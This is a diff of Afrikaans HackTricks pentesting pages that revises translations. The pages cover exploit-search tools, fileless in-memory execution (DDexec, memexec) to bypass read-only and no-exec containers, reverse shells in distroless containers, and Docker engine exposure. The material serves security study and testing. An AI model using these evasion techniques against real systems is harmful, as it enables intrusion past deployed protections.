@ -14,11 +14,11 @@ Ander maniere om HackTricks te ondersteun:
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
```bash
@ -39,24 +39,24 @@ is fixed running
pip3 install wheel
inside the virtual environment
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiseer werkstrome** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -6,15 +6,15 @@
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
@ -117,10 +117,10 @@ return 1
term = Terminal()
term.cmdloop()
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome** te bou en te **outomatiseer** met behulp van die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -133,7 +133,7 @@ Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hakwerktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
@ -24,13 +24,13 @@ Kry Vandaag Toegang:
### Blaaier
Soek altyd in "google" of ander: **\<diens\_naam> \[weergawe\] uitbuit**
Soek altyd in "google" of ander: **\<diens\_naam> \[weergawe\] exploit**
Jy moet ook die **shodan** **uitbuitsoek** probeer vanaf [https://exploits.shodan.io/](https://exploits.shodan.io).
Jy moet ook die **shodan** **exploit-soektog** probeer vanaf [https://exploits.shodan.io/](https://exploits.shodan.io).
### Searchsploit
Nuttig om uitbuite vir dienste in **exploitdb vanaf die konsole te soek.**
Nuttig om exploits vir dienste in **exploitdb vanaf die konsole te soek.**
```bash
#Searchsploit tricks
searchsploit "linux Kernel" #Example
@ -42,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
```
### Pompem
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is nog 'n instrument om te soek na exploits
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is nog 'n gereedskap om te soek na exploits
### MSF-Search
```bash
@ -50,7 +50,7 @@ msf> search platform:windows port:135 target:XP type:exploit
```
### PacketStorm
Indien niks gevind word nie, probeer om die gebruikte tegnologie binne [https://packetstormsecurity.com/](https://packetstormsecurity.com) te soek
Indien niks gevind word nie, probeer om die gebruikte tegnologie te soek op [https://packetstormsecurity.com/](https://packetstormsecurity.com)
### Vulners
@ -60,17 +60,17 @@ Jy kan ook in die vulners-databasis soek: [https://vulners.com/](https://vulners
Hierdie soek na exploits in ander databasisse: [https://sploitus.com/](https://sploitus.com)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou** en te **outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandag Toegang:
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:

View file

@ -2,34 +2,34 @@
<details>
<summary><strong>Leer AWS hack van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gespreek benodig_).
As jy belangstel in 'n **hacking-loopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
## Videos
In die volgende videos kan jy die tegnieke wat op hierdie bladsy genoem word, meer in diepte verduidelik vind:
In die volgende videos kan jy die tegnieke wat op hierdie bladsy genoem word, meer diepgaand verduidelik vind:
* [**DEF CON 31 - Verkenning van Linux-geheue-manipulasie vir Steek en Ontwyking**](https://www.youtube.com/watch?v=poHirez8jk4)
* [**Stiekeme indringings met DDexec-ng & in-geheue dlopen() - HackTricks Spoor 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
* [**Stealth-indringings met DDexec-ng & in-geheue dlopen() - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
## lees-slegs / geen-uitvoer scenario
Dit word al hoe meer algemeen om Linux-masjiene te vind wat met **lees-slegs (ro) lêerstelselbeskerming** gemonteer is, veral in houers. Dit is omdat dit maklik is om 'n houer met 'n ro lêerstelsel te hardloop deur **`readOnlyRootFilesystem: true`** in die `securitycontext` in te stel:
Dit word al hoe meer algemeen om Linux-masjiene te vind wat gemonteer is met **lees-slegs (ro) lêersisteem-beskerming**, veral in houers. Dit is omdat dit maklik is om 'n houer met 'n ro lêersisteem te hardloop deur **`readOnlyRootFilesystem: true`** in die `securitycontext` in te stel:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -44,7 +44,7 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
Nietemin, selfs as die lêerstelsel as ro gemonteer is, sal **`/dev/shm`** steeds skryfbaar wees, so dit is vals dat ons niks op die skyf kan skryf nie. Hierdie vouer sal egter **gemonteer word met geen-uitvoerbeskerming**, so as jy 'n binêre lêer hier aflaai, **sal jy dit nie kan uitvoer nie**.
Nietemin, selfs as die lêersisteem as ro gemonteer is, sal **`/dev/shm`** steeds skryfbaar wees, dus is dit vals dat ons niks op die skyf kan skryf nie. Hierdie vouer sal egter **gemonteer word met geen-uitvoer beskerming**, dus as jy 'n binêre lêer hier aflaai, sal jy dit **nie kan uitvoer nie**.
{% hint style="warning" %}
Vanuit 'n rooi span-perspektief maak dit dit **ingewikkeld om binêre lêers af te laai en uit te voer** wat nie reeds in die stelsel is nie (soos agterdeure of opsteller soos `kubectl`).
@ -58,25 +58,25 @@ Nietemin is dit nie net genoeg om jou binêre agterdeur of ander binêre gereeds
## Geheue-omseilings
As jy 'n binêre lêer wil uitvoer maar die lêerstelsel dit nie toelaat nie, is die beste manier om dit te doen deur dit vanaf die geheue uit te voer, aangesien die **beskerming daar nie van toepassing is nie**.
As jy 'n binêre lêer wil uitvoer maar die lêersisteem dit nie toelaat nie, is die beste manier om dit te doen deur dit vanaf die geheue uit te voer, aangesien die **beskerming daar nie van toepassing is nie**.
### FD + exec syscall omseiling
As jy kragtige skripskryfmasjiene binne die masjien het, soos **Python**, **Perl**, of **Ruby**, kan jy die binêre lêer aflaai om vanaf die geheue uit te voer, dit in 'n geheue-lêerbeskrywer (`create_memfd` syscall) stoor, wat nie deur daardie beskerming beskerm gaan word nie, en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
As jy kragtige skripskrywers binne die masjien het, soos **Python**, **Perl**, of **Ruby**, kan jy die binêre aflaai om vanaf die geheue uit te voer, dit in 'n geheue-lêerbeskrywer stoor (`create_memfd` syscall), wat nie deur daardie beskerming beskerm gaan word nie, en dan 'n **`exec` syscall** aanroep wat die **fd as die lêer om uit te voer** aandui.
Hiervoor kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre lêer gee en dit sal 'n skrip in die aangeduide taal genereer met die **binêre saamgedruk en b64 gekodeer** met die instruksies om dit te **dekodeer en te dekomprimeer** in 'n **fd** wat geskep is deur die `create_memfd` syscall te roep en 'n oproep na die **exec** syscall om dit uit te voer.
Hiervoor kan jy maklik die projek [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) gebruik. Jy kan dit 'n binêre lêer deurgee en dit sal 'n skrip in die aangeduide taal genereer met die **binêre saamgepers en b64-geënkripteer** met die instruksies om dit te **dekodeer en te dekompresseer** in 'n **fd** wat geskep is deur die `create_memfd` syscall te roep en 'n oproep na die **exec** syscall om dit uit te voer.
{% hint style="warning" %}
Dit werk nie in ander skripskryftale soos PHP of Node nie omdat hulle geen **standaard manier het om rou syscalls** vanaf 'n skrip te roep nie, so dit is nie moontlik om `create_memfd` te roep om die **geheue-fd** te skep om die binêre te stoor nie.
Dit werk nie in ander skripskryftale soos PHP of Node nie omdat hulle geen **standaard manier het om rou syscalls** vanaf 'n skrip te roep nie, dus is dit nie moontlik om `create_memfd` te roep om die **geheue-fd** te skep om die binêre te stoor nie.
Verder sal dit nie werk om 'n **gewone fd** met 'n lêer in `/dev/shm` te skep nie, omdat jy nie toegelaat sal word om dit uit te voer nie omdat die **geen-uitvoerbeskerming** van toepassing sal wees.
Verder sal dit nie werk om 'n **gewone fd** met 'n lêer in `/dev/shm` te skep nie, omdat jy nie toegelaat sal word om dit uit te voer nie omdat die **geen-uitvoer beskerming** van toepassing sal wees.
{% endhint %}
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is 'n tegniek wat jou in staat stel om die geheue van jou eie proses te **verander deur sy** **`/proc/self/mem`** te oorskryf.
Daarom kan jy deur die **samestellingskode te beheer** wat deur die proses uitgevoer word, 'n **shellcode** skryf en die proses "muteer" om **enige willekeurige kode** uit te voer.
Daarom kan jy deur die **samestellingskode te beheer** wat deur die proses uitgevoer word, 'n **shellcode** skryf en die proses "muteer" om **enige arbitrêre kode uit te voer**.
{% hint style="success" %}
**DDexec / EverythingExec** sal jou in staat stel om jou eie **shellcode** of **enige binêre** vanaf **geheue** te laai en **uit te voer**.
@ -93,34 +93,34 @@ Vir meer inligting oor hierdie tegniek, kyk op die Github of:
### MemExec
[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode gedemoniseer**, sodat elke keer as jy 'n **verskillende binêre lêer wil hardloop** hoef jy nie DDexec weer te begin nie, jy kan net memexec shellcode hardloop via die DDexec tegniek en dan **met hierdie duiwel kommunikeer om nuwe binêre lêers te laai en hardloop**.
[**Memexec**](https://github.com/arget13/memexec) is die natuurlike volgende stap van DDexec. Dit is 'n **DDexec shellcode gedemoniseer**, sodat elke keer as jy 'n **verskillende binêre lêer wil hardloop** jy nie DDexec hoef te herlaai nie, jy kan net memexec shellcode hardloop via die DDexec tegniek en dan **met hierdie duiwel kommunikeer om nuwe binêre lêers te stuur om te laai en te hardloop**.
Jy kan 'n voorbeeld vind van hoe om **memexec te gebruik om binêre lêers van 'n PHP omgekeerde dop te hardloop** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
### Memdlopen
Met 'n soortgelyke doel as DDexec, laat die [**memdlopen**](https://github.com/arget13/memdlopen) tegniek 'n **makliker manier toe om binêre lêers in geheue te laai** om hulle later uit te voer. Dit kan selfs toelaat om binêre lêers met afhanklikhede te laai.
Met 'n soortgelyke doel as DDexec, laat die [**memdlopen**](https://github.com/arget13/memdlopen) tegniek 'n **makliker manier toe om binêre lêers** in geheue te laai om hulle later uit te voer. Dit kan selfs toelaat om binêre lêers met afhanklikhede te laai.
## Distroless Omgewing
### Wat is distroless
Distroless houers bevat slegs die **kaal minimum komponente wat nodig is om 'n spesifieke aansoek of diens te hardloop**, soos biblioteke en tyduitvoeringsafhanklikhede, maar sluit groter komponente uit soos 'n pakkettebestuurder, skul, of stelselgereedskap.
Distroless houers bevat slegs die **kaal minimum komponente wat nodig is om 'n spesifieke aansoek of diens te hardloop**, soos biblioteke en uitvoeringsafhanklikhede, maar sluit groter komponente uit soos 'n pakkettebestuurder, skul, of stelselnutsprogramme.
Die doel van distroless houers is om die aanvalsvlak van houers te **verminder deur onnodige komponente te elimineer** en die aantal kwesbaarhede wat uitgebuit kan word, te minimeer.
Die doel van distroless houers is om die aanvalsvlak van houers te **verminder deur onnodige komponente te elimineer** en die aantal kwesbaarhede wat uitgebuit kan word te minimeer.
### Omgekeerde Dop
In 'n distroless houer mag jy dalk **nie eers `sh` of `bash`** vind om 'n gewone dop te kry nie. Jy sal ook nie binêre lêers soos `ls`, `whoami`, `id`... vind nie, alles wat jy gewoonlik in 'n stelsel hardloop.
{% hint style="warning" %}
Daarom sal jy **nie** in staat wees om 'n **omgekeerde dop** te kry of die stelsel te **opnoem** soos jy gewoonlik doen nie.
Daarom sal jy **nie** in staat wees om 'n **omgekeerde dop** te kry of die stelsel te **opsom** soos jy gewoonlik doen nie.
{% endhint %}
Maar as die gekompromitteerde houer byvoorbeeld 'n flask-web hardloop, dan is Python geïnstalleer, en dus kan jy 'n **Python omgekeerde dop** kry. As dit node hardloop, kan jy 'n Node omgekeerde dop kry, en dieselfde met byna enige **skripseltaal**.
{% hint style="success" %}
Deur die skripseltaal te gebruik, kan jy die stelsel **opnoem** deur die taalvermoëns te gebruik.
Deur die skripseltaal te gebruik, kan jy die stelsel **opsom** deur van die taalvermoëns gebruik te maak.
{% endhint %}
As daar **geen `read-only/no-exec`** beskerming is nie, kan jy jou omgekeerde dop misbruik om **binêre lêers in die lêersisteem te skryf** en hulle **uit te voer**.
@ -131,9 +131,9 @@ Tog sal hierdie soort houers gewoonlik hierdie beskermings hê, maar jy kan die
Jy kan **voorbeelde** vind van hoe om **sekere RCE-kwesbaarhede te misbruik** om skripseltaal **omgekeerde dops** te kry en binêre lêers van geheue uit te voer in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hackingsloopbaan** en wil die onhackbare hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gespreek benodig_).
As jy belangstel in 'n **hakerloopbaan** en wil die onhackbare hack - **ons is aan die aanstel!** (_vloeiend Pools geskrewe en gespreek benodig_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -143,10 +143,10 @@ As jy belangstel in 'n **hackingsloopbaan** en wil die onhackbare hack - **ons i
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hackingswenke deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou hakertruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -6,7 +6,7 @@
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,11 +14,11 @@ Ander maniere om HackTricks te ondersteun:
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** te dryf met die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -30,9 +30,9 @@ Die **Docker-enjin** maak gebruik van die Linux-kernel se **Namespaces** en **Cg
### Veilige Toegang tot die Docker-enjin
Die Docker-enjin kan óf plaaslik via 'n Unix-aansluiting óf op afstand deur HTTP benader word. Vir afstandstoegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit, en outentisiteit te verseker.
Die Docker-enjin kan óf plaaslik via 'n Unix-aansluiting óf op afstand deur HTTP benader word. Vir afgeleë toegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit, en outentisiteit te verseker.
Die Docker-enjin luister standaard na die Unix-aansluiting by `unix:///var/run/docker.sock`. Op Ubuntu-stelsels word Docker se aanvangsopsies in `/etc/default/docker` gedefinieer. Om afstandstoegang tot die Docker-API en -klient moontlik te maak, stel die Docker-daemon bloot oor 'n HTTP-aansluiting deur die volgende instellings by te voeg:
Die Docker-enjin luister standaard na die Unix-aansluiting by `unix:///var/run/docker.sock`. Op Ubuntu-stelsels word Docker se aanvangsopsies in `/etc/default/docker` gedefinieer. Om afgeleë toegang tot die Docker-API en -klient moontlik te maak, stel die Docker-daemon bloot oor 'n HTTP-aansluiting deur die volgende instellings by te voeg:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
@ -54,7 +54,7 @@ Houverbeeldings kan gestoor word in privaat of openbare repose. Docker bied vers
### Beeldskandering
